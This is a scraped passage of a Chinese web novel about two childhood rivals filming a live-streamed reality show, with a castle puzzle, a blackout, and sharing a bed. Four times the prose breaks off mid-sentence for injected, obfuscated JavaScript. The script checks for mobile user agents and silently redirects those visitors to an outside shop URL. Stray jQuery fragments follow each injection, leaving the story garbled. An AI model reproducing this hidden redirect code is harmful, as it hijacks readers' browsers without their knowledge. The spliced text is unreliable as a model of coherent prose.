“抬头。” 熟悉的冷淡嗓音在耳边响起,像是察觉到了什么端倪,声音压得很低。 你说抬头就抬头?顾听舟的逆反心理习以为常地显露,本就僵硬的四肢变得愈发紧绷,梗着脖子没动。 可下一秒,握着他的手忽然松开,那一小片沾上了易淮江体温的肌肤暴露在空气中,唯一的几缕余热也被瞬间掠夺殆尽,丝丝缕缕的凉意顺着手臂缠绕而上,吹走了他偷来的温度,也吹得他心底忽然一空。 冰凉发麻的指尖不自觉微颤,沿着那只手离开的轨迹抬了抬,却又微微蜷回了掌心。 这可是易淮江。顾听舟想,他怎么能在这个人面前露怯,更不可能对着他示弱。 发麻的指尖在掌心收紧,越陷越深,微弱的痛感从掌心传来,勉强为顾听舟找回了几分理智和清醒,然而还没等他松口气,后颈却忽然贴上一片熟悉的温热。 他太冷了,就连易淮江常年偏低的体温在此刻都显得比他温暖许多。 那只手拢在他后颈,像是吃准了他没有余力反抗,逗猫似的不轻不重地在他后颈上揉了揉。 似有若无的一声轻叹,易淮江的声音再次响起,语气却放缓了许多,夹杂着几分不易被察觉的无奈。 “初初,往上看。” 易淮江腰间的麦盒不知在什么时候停止了闪烁,悄无声息地隐匿在了一片黑暗中。 都说了不要在外面叫他的小名。 顾听舟忍不住撇嘴,可身体却不由自主地顺着他的话抬起了头。 眼前依然是一片漆黑,只有一道标示着摄像头还在运转的红光意志顽强地亮着。 “看到摄像头了?”易淮江像是并不需要他回答,问完又自顾自说了下去,“盯住它的光,深呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842524|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “这里什么都没有,只有你最讨厌的我。” 顾听舟很瘦,明明身材高挑,也有腹肌,可当他的手掌覆住他修长的脖颈时,才落到实处地感受到了顾听舟的单薄。 掌心拢住那处薄薄的软肉,稍稍用力,就能摸到那节凸起的脊骨。易淮江缓缓揉着,直到另一人僵硬的身体逐渐放松下来。 顾听舟脑海中紧绷倒几乎一触即发的弦随着逐渐恢复正常频率的呼吸缓缓归位。与此同时,迫使他抬头的手也默默放开了他,接着又再牵住了他的手腕。 麦盒上的指示灯重新亮起,像是什么都没有发生过一般有节奏地闪烁着。 易淮江的嗓音也恢复了往常的冷淡,带着股熟悉的令人着恼的劲。 “又生气?”易淮江仿佛真的深感困扰,“让了不高兴,不让也不高兴,要么等回去再比一场?” “你什么时候让我了?” 顾听舟拧着眉脱口而出,这才反应过来自己被易淮江牵着走下了他递来的台阶,自然而然到仿佛自己刚才不合时宜的沉默是真的因为在路上输了和易淮江的赌约闹脾气。 顾听舟撇过脸,闷声道:“你爱和谁比和谁比,反正我不比了。” 烦。 明明已经缓过了气,可顾听舟心里反而比刚才忽然断电时更乱。 为什么是易淮江? 为什么易淮江会帮他? 为什么易淮江帮了他还能装作什么都没做一样? 顾听舟的目光在黑沉沉的夜色中漫无目的地乱飘,左顾右盼,明知道看不到什么东西,却就是不愿意转向站在自己身边的易淮江。 二十年从来都水火不容的思维定势快把顾听舟绕晕了,兜兜转转,视线又转回了头顶那台摄影机上。 顾听舟的一头乱麻像是终于找到了个出处,后知后觉地想起来,他们还在拍摄,这是在上节目,而且还是实时直播,那易淮江帮他遮掩就只是因为怕他丢了面子不肯再配合上综艺。 合情合理。 顾听舟眨了眨眼,越想越觉得这个理由十分完美且通顺,顿时豁然开朗。 虽然对这黑漆漆的环境依然觉得不舒服,但听着其他人四处翻找发出的动静,顾听舟状态恢复了点,也打算加入大部队的行动。 早点找到钥匙早点离开才是正事。 顾听舟晃了晃被牵着的手:“找钥匙去了。”易淮江也没问,淡淡“嗯”了声,却站在原地没动。 顾听舟又晃晃,催他:“走啊。” 易淮江还是站着没动:“看不清,先牵着。” 谁牵着谁啊…… 顾听舟无语地收回了落在摄像头上的目光,红着耳根催他:“没让你撒手。找钥匙去,快走。” 余光中似乎有道微弱的光亮一闪而过,顾听舟滑过的视线猝然又转了回去,紧接着拉着易淮江一块走近。 墙壁上是一层造型华丽且精致的鎏金浮雕,最中央的兽首上缀着枚圆环,只有仔细看才能发现上面还散发着淡淡的极不起眼的金属光泽。 顾听舟迟疑的勾着那枚圆环拽了拽。 “咔哒。” 22. 浅淡笑意 一把钥匙直接挂着那只银环被拽了出来。 顾听舟看不清,只隐约能感觉到有什么东西被连带着扯了出来,上手一摸才发现是一把钥匙。 顾听舟也懵了,就这么让他找到了? “边边。”顾听舟当即喊了声更有经验的边竹,“我好像找到了。” “我看看?”边竹放下了手里的盒子,循着声扶墙摸索着靠近,“你在哪儿呢?” 顾听舟:“墙角吧。离大门应该有点远。” 边竹从他手里接过了钥匙,手沿着钥匙头捏了捏,大致摸出个形状后,肯定道:“应该就是这个了。” 顾听舟松了口气,可算是能出去了。 找到了钥匙,几人紧张的心情顿时放松了许多,边竹边往门口走边好奇问他:“听舟,你们怎么跑那边去了?” 顾听舟愣了下,抬手摸了摸鼻子:“屋子里太黑了看不清方向,走着走着也就不知道走多远了。” 拿钥匙开了门,锁芯内部被成功拧动的下一秒,整座城堡也瞬间恢复了光明。 几人摸黑在宴会厅里找了半天,眼睛早就自然而然地适应了环境,骤然被过于耀眼的水晶顶灯一闪,当即都闭上了眼睛。 与此同时,城堡里再次响起了那道停电时同步响起的铃声。 顾听舟紧紧闭着眼睛,光源的重新出现让他终于能认真聆听那道旋律诡异的铃声,可越听,顾听舟越觉得似曾相识。 短暂的几秒适应时间过去,几人纷纷睁开了眼睛,顾听舟看了看专业搞音乐的许黎,又看了看解谜综艺出道的边竹和邓秉述,几人交换了一下目光,顾听舟看见他们眼里的犹豫,更加确定了这道铃声确实不对劲。 还没来得及交流,铃声第二遍响起。 许黎眼疾手快地按住了傅乐天,傅乐天也懂事地没再闹她。没了外界干扰,许黎当即屏息凝神,开始认真听这道铃声。 第二遍结束,众人等了几秒,确认没有第三遍后,许黎终于长出了一口气,先皱着眉开口道:“应该不是歌曲,这道铃声的旋律很奇怪,从头到尾只用了个音阶,完全不符合正常的编曲逻辑。” 顾听舟也点头:“这个旋律走向也很奇怪。第一次响的时候我没太听清,但是刚才两遍我听着应该是一样的,这段旋律从头到尾只有‘Do’和‘Mi’,节拍和节拍之间的停顿也没什么逻辑。” “是的。”许黎眼睛一亮,“舟哥也是学音乐的吗?”光听几遍就能随手扒出简谱,说起来容易,但没学过的人肯定是做不到的。 “我的专业和音乐没什么关系。”顾听舟笑了下,“只是以前家里培养过我不少兴趣爱好,我的乐理知识还算不错。” -“还算不错”是这么用的吗?你那一箱子证书听完要哭死了 -什么证书?gtz不是演员吗? -谢邀,舟舟是真的有钢琴十级、吉他十级、小提琴十级和其他我们尚未得知的一堆证书,威廉帮他搬家的时候还发过微博! -这是什么别人家的孩子!我哭辽 -我还是好奇他俩刚才在墙角到底在说什么悄悄话!yhj话筒是坏了吗为啥没声啊啊啊啊! “三遍都是一样的。”邓秉述开口肯定了他们的猜想,他记忆力好,也正经学过音乐,“问题是这条关键线索应该还需要别的方法辅助,要不我们先出门?” 另外五人在宴会厅里关了大半天,自然说好。几人趁着城堡里灯火通明抓紧离开了宴会厅,出去一看,果然城堡的大门也被反锁上了。 但在城堡开门的按钮旁还贴了张不到手掌大的纸,写着城堡安装了最新的防盗系统,如有物品失窃,城堡就会自动关闭出口,直到抓到盗贼,归还宝物,系统才会重新启动,解开门锁。 “看样子我们只能往楼上去抓贼了。”邓秉述说。 一楼只有一个用作宴会聚餐的大厅,就算有盗贼N.P.C也无处可藏,那就只能是在楼上了。 二楼的布局是“回”字型的,沿着长梯上了楼,一眼望去就是一排排的房间门和一眼望不到头的回廊。 这得找到什么时候去? 几人对视一眼,果断放弃了逐层排查的计划,脚步一转,打算先上三楼收藏室看看情况。可沿着走廊转到另一侧上三楼的楼梯口,六人的脚步再次停了下来。 上不去。 二楼和三楼之间的楼梯口安了扇门,节目组怕嘉宾们找不到路还特地装的栅栏门,从门外透过钢管之间的空隙能看见门里的楼梯,但钢管与钢管之间的空隙只够勉强伸过去一只手。 楼梯门上了锁过不去,只能打道回府,继续在二楼排查。这也就意味着他们不仅要现在这近百个房间里抓小偷,还要找一把没手指长的钥匙。 “节目组当个人吧。”连傅乐天都忍不住小声吐槽了句,“这得找到什么时候去。” 顾听舟垂着眸没说话,目光落在门上那把仿铜挂锁,眼神若有所思。 顾听舟转头,先瞥了眼易淮江,这才和其他人说:“先在这附近找一找吧。二楼房间那么多本来就不好搜,节目组应该会把范围缩小一点。” 另外几人点点头,于是抓紧时间围着楼道口四散开来找新钥匙。说是只在附近找,但光是这一条走廊也有十来个房间,再算上走廊里的各类装饰。挂画、花瓶、矮柜,越看越觉得哪儿都能藏,几人找得都很仔细,生怕一个不小心就把钥匙影漏了。 顾听舟的视线从走廊摆着的花花草草上一掠而过,扫了几眼后也就近挑了个没人找的空房间找了起来。 直播间里的人光是看刚才摄像机横拍的二楼全景都已经能想象到这几个人能累成什么样了。没多久就五花八门的出现了一堆希望节目组降低游戏难度,起码给划个具体范围或者给条线索的弹幕。 其实顾听舟猜的没错,开锁的钥匙确实藏得不远,但游戏难度太简单也没看点,总要设置点障碍,节目组会安排这么多房间,目的就是为了消耗嘉宾们的耐心,看三对嘉宾在精力被逐渐消磨后的相处又会有什么样的变化。 节目组的想法确实不错,只可惜顾听舟没时间在这儿慢慢耗。他不清楚节目组什么时候会再来一次停电,但他知道如果再来一次,他绝对撑不了太久,只能尽量速战速决。 顾听舟动作极快地翻完一个房间后,还总试着在那些装饰品上掐掐掰掰,从直播间的镜头里看,比起其他人就显得敷衍许多。 蛰伏在直播间里的黑粉们闻声而动,当即抓着顾听舟这副心不在焉的样子开始痛批,说他刚才在在一楼就因为一点小事闹脾气脱离大部队,能拿到第一把钥匙纯是误打误撞,现在搜查房间又这么敷衍,没有半点团队精神。没过多久,顾听舟就被这群不怀好意的黑粉骂上了热搜。 网上骂归骂,顾听舟自然是一概不知。他依然自顾自一间间房间搜查着,顺便试图搞搞破坏。直到他弯腰对着一小盆喷了金漆的塑料柳树试图拔柳枝时,身后的门忽然被敲了敲。 不多不少,正好三声。 “别找了。”易淮江冷淡的嗓音紧跟着响起。 顾听舟本来就还没想好怎么面对他,这下更是连头也不抬了:“不找怎么出去。” 说话间,一只骨节分明的手忽然在他面前摊开,掌心里躺着一截不知道从哪儿掰下来的铁丝。 顾听舟一噎,抬眼看他:“你怎么……” “抓出经验了。”易淮江淡淡道,“你从开始就没想过找钥匙。” 顾听舟:“……”谁让节目组不当人非要玩房海战术。 顾听舟当即接过了他手里的铁丝,三两下掰出了个顺手的形状后,直接走到了楼梯口前。 傅乐天刚好瞥见他的动作,以为他找到钥匙了,当即喊了声:“舟哥你又找到了?!”顾听舟都没来得及开口,其他几人就一窝蜂地涌了出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842525|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 顾听舟沉默了。算了,反正现在不让他们看见,之后节目组也肯定会剪出来的,没必要遮遮掩掩。 顾听舟坦坦荡荡:“没找到,但我能打开。”说着,那截被掰好了形的铁丝往锁头中一戳一扭,看似随意地鼓捣了几下,但只一眨眼,锁就被撬开了。 顾听舟松了口气,把铜锁拿下来在手里抛了抛:“好了,先上楼吧。” 傅乐天星星眼:“舟哥你怎么什么都会!” “小意思。”顾听舟随口谦虚道,“练多了就熟了。” 傅乐天更想学了:“好厉害!这个怎么练,买把锁每天对着开吗?” “不,是因为我们学校的天台没人管,每次想上去吃外卖我就撬锁,结果每次都会被抓。”顾听舟忍不住瞥了眼没吭声的易淮江,“那人每次都非要当着我的面把锁给锁上,我就跟他做对,天天撬,天天锁,练多了就熟练了。” 烦死个人,从小就阴魂不散的。 傅乐天叹为观止,他舟哥这竟然还是童子功。 几人边聊边上了楼,最靠近楼梯口的是个场地宽阔的收藏室,各式各样的展览柜里摆着国王千奇百怪的收藏品,正中央空着的大展示台,一看就知道是为那枚被偷了的宝石准备的。 几人走上前,仔细查看一番,却也只在展示台的桌沿下找到了一张贴在隐蔽处的注意事项。 “眼睛听不见,请用耳朵看……?”傅乐天觉得奇怪,不知不觉就念了出来,话音刚落收藏室里的灯就“滋啦滋啦”地闪了几下。 “不是吧?”傅乐天一个跨步又贴上了许黎,“还要停电……”最后一个“啊”字还没来得及出口,收藏室里骤然黑了下来。 紧接着,那段旋律奇怪的铃声再次响起。 顾听舟心底一沉,没站稳往后退了半步,却径直撞进了某个熟悉的怀里。薄荷味争先恐后地往他鼻子里钻,冰冰凉凉地刺激着他的大脑神经。易淮江不由分说地再次握住了他的手腕。 许黎一边听一边对照着记忆里先前临时扒出来简谱复述:“11133,1131,3111,13,1311。还是和前两次的一样。” “……阳台!” 顾听舟脑内灵光一闪,反手抓紧了易淮江的手,拽着人就往外冲。 两人身高腿长,易淮江被他拽得一懵,但很快就反应了过来带着他往走廊尽头跑。城堡每层走廊的尽头都有个安了落地窗的大阳台。 电光火石间,两人已经堵在了阳台前,顾听舟懒得废话,也没力气再动了,下意识捏了捏易淮江。易淮江更不是会和别人废话的性格,直接打开了阳台上唯一能藏人的立柜,N.P.C入戏很深,见自己被发现,拔腿就要跑,易淮江一把扣住了他的肩膀,一拽一扭,直接把人抻着胳膊扣在了立柜上。 顾听舟见他腾不出手,缓了缓劲,上去从N.P.C的口袋里翻出了钻石,下一秒,城堡里也终于恢复了光明。 顾听舟踩着心跳跑了个小几百米的加速跑,此刻眼前一亮,哪怕依然浑身悚窒发麻,却也被这亮晃晃的光照得心里一松。 N.P.C入戏太深,被易淮江制住还颇不服气,嘴里喊着“有本事你们就放了我”。 顾听舟缓过了气,也有了演戏的精力,当即挑了挑眉,抬手拔出了腰侧的佩剑,在空中顺手挽了个漂亮的剑花后架在了N.P.C脖子上:“挺能啊你。” 害他在易淮江面前连着出了两次糗。 凛冽锋利的剑光在余光中一闪而过,N.P.C被“强权”镇压,当即乖乖闭了嘴。 顾听舟满意地歪了歪脑袋,却猝不及防对上了一双他熟悉到不能再熟悉的眼睛。 易淮江并不像以往那样冷冰冰的,眼底甚至还带着一抹浅浅的笑。 顾听舟恰好撞见那点一闪而过的笑意,忽然愣了愣神,不自觉脱口而出:“你笑起来还挺像个人的。” 23. 我没用力 宝石物归原主,城堡的防盗系统终于重启,内侍带着士兵们一脸匆忙地赶进城堡时,六人还在展览馆里闲逛。 傅乐天从头到尾都是懵的,此刻正抓着顾听舟追问:“舟哥,你们是怎么知道那人在阳台的,而且一楼二楼不是也有阳台吗?” “你怎么不去问易淮江?”顾听舟问。 “我不敢。”傅乐天一点也不遮掩地怂怂道,“易哥太高冷了。” 冰块脸一向看起来都这么高冷,私底下可欠揍得很。顾听舟默默腹诽,思绪一飘,忍不住又想起易淮江刚刚露出的那点笑,和自己脱口而出的那句话。 当着一堆摄像机的面,顾听舟下一秒就后悔了,结果就是到现在也没敢再看易淮江一眼。 “舟哥,舟哥?你就给我讲讲吧,我到现在都没搞明白那歌和三楼阳台能有什么关系。” 顾听舟咳了两声,抬手指了指展示台底下贴着的线索:“关灯前你自己念的你总记得吧?” 傅乐天小鸡啄米式点头:“记得记得。” “‘眼睛听不见,请用耳朵看’是摩斯电码最经典的一种隐喻,节目组的提示其实已经写得很直白了。”顾听舟解释道。 “摩斯电码?”傅乐天傻眼了,“舟哥,要不是你会这个,我觉得我们可能真的要在城堡里过夜。” 顾听舟指了指不远处正在研究一个老式电报机的边竹和邓秉述,摇了摇头。 “不会,节目组设计这种有点门槛的题目,肯定会考虑到嘉宾们的水平,也会设置相应的关键信息提示。边边和邓队都是解密综艺的常驻嘉宾,虽然不一定能硬解摩斯电码,但根据信息联想分析也肯定能猜到。”顾听舟摊了摊手,“怪我速度太快,道具组应该还准备了用来引导解谜的摩斯电码参考表,如果不是我跳关,他们俩迟早也能解出来。” 傅乐天越听眼里的崇拜越浓,还想继续问,但话没说完就被终于教训完内侍腾出空的许黎捂着嘴拽走了:“谢谢舟哥帮忙看着他,给你添麻烦了。” 顾听舟看着傅乐天长手长脚地弓着腰扑腾,忍着笑挥了挥手:“不用客气。” 而与此同时,直播间里原先一窝蜂骂顾听舟的言论早已消失不见。 不管是他拿着根铁丝就直接□□速通二楼的神奇操作,还是在第二次灭灯后当机立断拽着易淮江冲向阳台抓住盗贼N.P.C的惊人反应速度,显然都和黑粉们污蔑的“摸鱼”、“划水”、“没有团队精神”的形象天差地别。 如果像顾听舟这样以一己之力带领全队跳关速通,不仅脑子灵活,还真有两把刷子的综艺嘉宾都能算“态度敷衍”的话,那不如你先去玩个解谜密室试试? 自从上次吃了半夜被人泼脏水的亏,威廉的手机几乎是24小时全程待机,生怕一个不小心错过什么重要消息又让他家艺人被卷进去当靶子。 联系完节目组禁言处理那些黑粉账号后,顾听舟那边也不负所望地亮了一手精湛熟练的撬锁技术,威廉当即又找人剪了视频,混在粉丝们自发录屏剪辑的安利视频当中,没花多久就成功攻陷了原本的黑热搜,再加上他和傅乐天解释摩斯电码的对话,顺便还把顾听舟“多才多艺”这个词条顶了上去。 微博上的热闹,还在摄像机镜头中的六位嘉宾自然是一无所知。 N.P.C内侍见失窃的宝石已经完好如初地回到了展示台上,当即激动地对几位贵客各种嘘寒问暖,七七八八讲了一堆感谢的话后,终于给出了点真正有用的奖励。 简单讲就是说天色也不早了,王宫已经准备好了马车送各位贵客回家,希望国王还未回国的这段时间里,几位贵客可以好好休息。 没过多久,顾听舟和易淮江就被再次塞进了同一辆马车,再次不得不膝盖贴着膝盖,大腿贴着大腿地并排坐在一起。 比起不久之前的上一次,这次的气氛显然更加焦灼了。 顾听舟是这么觉得的。 反正他现在是不太想再看见易淮江那张脸了。一看见就忍不住想起自己脑子一抽当着镜头的面夸人笑得好看。 ……好不好看关他屁事。 顾听舟尴尬,非常尴尬,以至于他宁愿骑马回家,也不是很想跟易淮江坐同一辆马车。然而节目组并没有给他挣扎的余地。 回到小洋楼,工作人员早已离开,整栋房子里现在只剩下他们两个人,偌大的客厅里也安静得只剩下两道频率相近的呼吸声。 “那什么……”顾听舟忍不住先开口打破了这片复杂又诡异的沉默,“我先去洗澡,你……” 他飘忽的视线在那架单边眼镜上一闪而过:“你自己看着办吧。”说完就脚步匆忙地上了楼,溜之大吉。 先去卧室翻了套睡衣,顾听舟坐在地板上,面前的行李箱大喇喇地敞开在面前,一抬头就是那张King size的欧式双人大床。 风格华丽,浮雕精致,不管是床还是床品,都紧扣这期的拍摄主题,不管是搭配还是审美都对他的眼睛非常友好。 顾听舟无声叹了口气,唯一的缺点就是对他的心肝脾肺肾不太好。 愁的。 一想到从今晚开始他就要和易淮江睡在同一张床,顾听舟就又忍不住叹了口气。 除了他和易淮江,另外两对显然都是已婚领证的真情侣,深更半夜的睡在同一张床上,万一一个不小心擦枪走火了怎么办……退一万步说,起码也分个床是不是? 顾听舟怨念地抱着换洗衣物飘进了浴室,刚把手里的毛巾和睡衣在架子上挂好,一转身就看见了光明正大推门跟进来的易淮江。 顾听舟:…… 随手锁门是个好习惯,下次他一定记得。 顾听舟往后退了一步和他拉开距离:“易淮江,你是不是有什么奇怪的癖好?”一天天耍流氓耍没够了,上次还能算是不小心撞见的,这次总是他故意跟进来的了吧? “问完我就走。”易淮江知道他动作没那么快。 他目光落在顾听舟腰间,原本别着的麦盒早已被顾听舟拆了顺手丢卧室里了。 易淮江直接道:“你怕黑?” “你想多了。”顾听舟当然不肯承认。 “你从小就喜欢熬夜,也是因为怕黑?”易淮江一直知道他有熬夜的习惯,顾听舟从小就有点三分钟热度的毛病,难得有什么能坚持下来的偏偏又不是什么好习惯,祝姨和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842526|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾叔念叨过很多次。 联系上今晚在城堡里顾听舟的状态,易淮江自觉已经猜得八九不离十,皱了皱眉,还是有些想不通:“为什么?” 从小顾听舟就被两家大人宠着长大,除了和自己不对付,在长辈跟前一向是要什么有什么,祝姨和顾叔也向来开明,从没罚过他,应该不是心理阴影。 顾听舟不耐烦地扭过脸,干脆破罐子破摔了,“什么为什么,天生的,我想象力丰富不行啊?” 易淮江不信:“只是这样?” 生理反应骗不了人,顾听舟下意识的肢体僵直和体温变化不像是想象力过剩的结果,但患者本人显然一点都不肯配合。 “爱信不信。”顾听舟没好气道,“你都猜完了还来问我干什么。” 易淮江不置可否,忽然又换了问题:“在收藏室里为什么拉着我一起跑?” “明明是你先拉着我的好吗?”顾听舟服了,“你动手动脚的耍流氓你还好意思问?!” “我没用力。”第二次停电的时候他只是下意识拉住了顾听舟,并没有要控制他的意思,只要顾听舟愿意,甩一下手就能把他挥开。 易淮江步步逼近。他戴着的那副眼镜还没摘,金色的细链随着两人间愈来愈近的距离一下一下地晃,头顶的灯光在镜片上折射出一道仿佛能洞穿人心的光,顾听舟的下意识抬起推人的手被倏地攥住。 易淮江的眉头微蹙,语气冷冰冰的,看起来依然是那副讨人厌的样子:“你当时可以把我甩开,但是你没有。”薄荷的气息再次充盈鼻间,凉得顾听舟心跳都漏了一拍。 “有人陪着的时候会缓解你的症状,对吗?” 明亮的灯光下,顾听舟仰着头,被戳破秘密的慌乱让那双浅色的眼睛下意识颤了颤,却又很快恢复了平静,那张漂亮的脸上依然是只对着他时才会流露出的嚣张和挑衅。 “你猜啊。” 顾听舟忽然勾起嘴角露出个轻佻的笑,不退反进地抓住了他的衣领。两人之间的距离再一次被压缩,清甜热烈的血橙香味也忽地逼近。 “反正你这么喜欢卷生卷死,要不干脆再去考个医师证和心理咨询?这样也不用问了,直接上手看病多方便。” 顾听舟咬死了不肯承认。 合作归合作,让他在易淮江面前主动示弱,这辈子都不可能! 他想起上次刚搬进易淮江家里时,这人不小心瞥见眼他的腹肌都能不好意思,索性咬着牙不退反进。他就不信自己都靠这么近了,易淮江这个冰块精还能继续问东问西。 事实证明,这个方法确实有用。易淮江确实没再追着他问了,但他转头就提起了两人之前赛马的赌约。 易淮江微微低头,原本抵在他手腕内侧的拇指松开了些许。掌心下的肌肤触感细腻温热,是完全正常的、属于顾听舟的体温。 顾听舟梗着脖子,见他不吭声心里更多了几分得意,却见易淮江忽然道:“顾听舟,你还欠我一个要求。” 顾听舟预感不妙,但还是硬着头皮问:“你什么意思?” 易淮江挑了挑眉:“我的要求是,在节目录制期间,你要按照正常作息进行生活。” 24. 暴风雨夜 -咱好歹是在录节目,你们小情侣能不能收敛一点,易哥你就这么跟进去了?? -已经算是收敛了(doge -一人血书求浴室镜头 -二人血书…… -yhj进去得好光明正大啊,你们在家也都是一起洗的是吗我不行了 -舞不过舞不过,蒸煮比我们还会玩 弹幕激动了好一会,才终于等到易淮江推门出来。除了衬衫领口有些皱,其他衣服依然妥帖平整,衣装整齐得令直播间里的CP粉们大失所望。 顾听舟洗完澡便逃避似的一头扎进了衣帽间,易淮江由着他乱跑,反正节目才刚刚开始录制,顾听舟的责任心不会允许他真的临阵脱逃。 顾听舟磨磨蹭蹭地在衣帽间里消磨时间,直到11点的钟声在楼下客厅骤然响起,易淮江穿着睡袍的身影也准时出现在了门口。 顾听舟警惕地看他:“你又要干什么?” 易淮江走近,单手撑在化妆台上,语调平稳:“找你睡觉。” 顾听舟:? 你讲话能不能清白一点? 顾听舟:“你能不能把舌头捋直了再说话……什么叫‘找我睡觉’,那叫‘催我去睡觉’。” 易淮江淡定:“有区别?” “当然有区别!”顾听舟咬牙切齿地压低了声音警告他,“直播间里那么多观众看着呢,你不要脸我还要好吗。” 易淮江不跟他争,抓着他的手往外走:“先睡觉,明天还要早起做任务。” 今晚从城堡离开的时候,N.P.C内侍还特地提醒过他们明早九点要在城堡集合。 顾听舟试图挣扎:“我自己能走。” “你能自己回去我现在就不会出现在这。” 回到卧室,看着摆在房间正中央的双人大床,顾听舟只觉得头疼。 易淮江倒像是丝毫不受影响:“睡哪边?” 床摆在房间中央,不管哪边其实都不靠墙,只是一边离窗户更近,一边离卧室房门更近。 顾听舟薅起收拾行李箱时顺手摆在床头柜上的玩偶,毫不客气地直接占据了靠门的半边床铺,易淮江等他选完,也从另一边上了床。 卧室的门早已关上,客厅里钟摆的指针早就在不知不觉中悄悄又走过了数个小格。直到最后一盏灯也被熄灭,卧室里骤然陷入一片无言的寂静。 无边的黑暗将眼前最后一点色彩淹没,像是张牙舞爪的深渊巨兽,一点点啃食入侵着顾听舟早已精疲力竭的思绪。 身体下意识对黑暗的抗拒和排斥,让他哪怕主动闭上眼睛,那双浓密的睫毛也会忍不住幅度极快地震颤,像是摇摇欲坠却还在拼命挣扎的黑色蝴蝶,美丽又易碎。 顾听舟的呼吸早就乱了。 现在不像在城堡里的时候,四周都是摄像头,领口处还别着收音的话筒,他的一言一行都要时刻小心,时刻注意着不让自己在镜头下暴露。 就像易淮江那时候说的一样,这里只有一个讨人厌的他。反正易淮江已经猜到了,顾听舟脑中紧绷着的弦便也悄悄松懈了几分。 反正已经互相嫌弃了20年,再讨厌一点好像也没什么所谓了。 顾听舟闭着眼睛抱紧了怀里的玩偶,一边在心里怀念被节目组没收的手机,一边不自觉听着另一人平静沉缓的呼吸声。 双人床是King size的尺寸,睡下两个身高将近一米九的成年男性本该也是绰绰有余,但顾听舟却忍不住往外又挪了挪。 太近了。 这个距离,他稍微翻个身,感觉就能直接撞到易淮江的身上。稍微抬一抬手臂、动一动腿,似乎就能碰到另一个人同样盖在被子下的身体。 怀里的玩偶被他抱久了,染了一身的橙子味,顾听舟默默贴着它吸了口气,又往外蹭出了点距离。 他伸出一只手,向外试探着摸了摸他这边的床沿,略带惋惜地确定好像不方便再往外挪后,又忍不住翻了个身,从规规矩矩的平躺改成了背朝着易淮江的方向。 这下舒服多了。 顾听舟在心里默默松了口气。背对着就不用担心明天一早醒来的时候自己控制不住一巴掌扇到那张脸上了。一个人睡了二十多年,一觉醒来忽然发现床上还睡了另一个人,吓都能吓死个人,他也是为了合理规避风险。 顾听舟心满意足地蹭了蹭怀里的玩偶,深深吸了一口甜橙味的空气,这个姿势,不仅可以不用面对身后的易淮江,就连冷冰冰的薄荷都仿佛被他直接挡在了身后,真好,就是身后挡薄荷的威力好像强了点,总感觉凉飕飕的…… 没等顾听舟反应过来,身后的床垫便忽然向下陷了点,紧接着一只胳膊猝不及防地扣着他的腰往后一拖。 后背是不凉了。 顾听舟心凉了。 这人怎么还没睡?! “谋杀亲夫?”易淮江的胳膊还箍在他腰上,“当着镜头的面想把我冻死,还是有点难度的。” 顾听舟满头黑线:“你讲话能不能清白一点!” “我们很清白么?”易淮江斟酌了一会,一本正经地反问他,“证也领了,家长也见了,微博也官宣了,全国人民都知道我们现在是已婚夫夫。” “而且我们现在还睡在同一张床上……你跟我讲清白?” 草。 非要这么说的话,听起来好像确实,不太清白。 顾听舟耳朵一热,咬着牙试图掰开腰上的胳膊:“你什么时候有的梦游的毛病,竟然还会说梦话?” “再往外挪就掉下去了。”易淮江的声音在背后凉凉响起,“你真打算舍生取义给节目组提供素材,让后期把你掉到床下的画面剪到正片里去?” 晚上十一点之后直播会关闭,摄像机只会正常拍摄收集素材,但为了防止摄像机自带的收声设备录到某些不该听到的秘密,两人都收着声。 “我不跑了行了吧?”顾听舟掰不过他,在那条胳膊上拍了下,“赶紧给我撒手。” 易淮江从善如流松开了胳膊:“顾听舟,你现在比我还冷。” “懂不懂什么叫冰肌玉骨,睡你的觉去。”顾听舟硬着头皮怼了回去,可下一秒,一只微温的手掌忽然盖在了他的脸上,把他的一双眼睛挡得严丝合缝。 顾听舟原本还未落的话音戛然而止,过了半晌才慢吞吞地重新开口:“易淮江……?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842527|191342||http|test|mini|href|location''.split(''|''),0,{})); () { 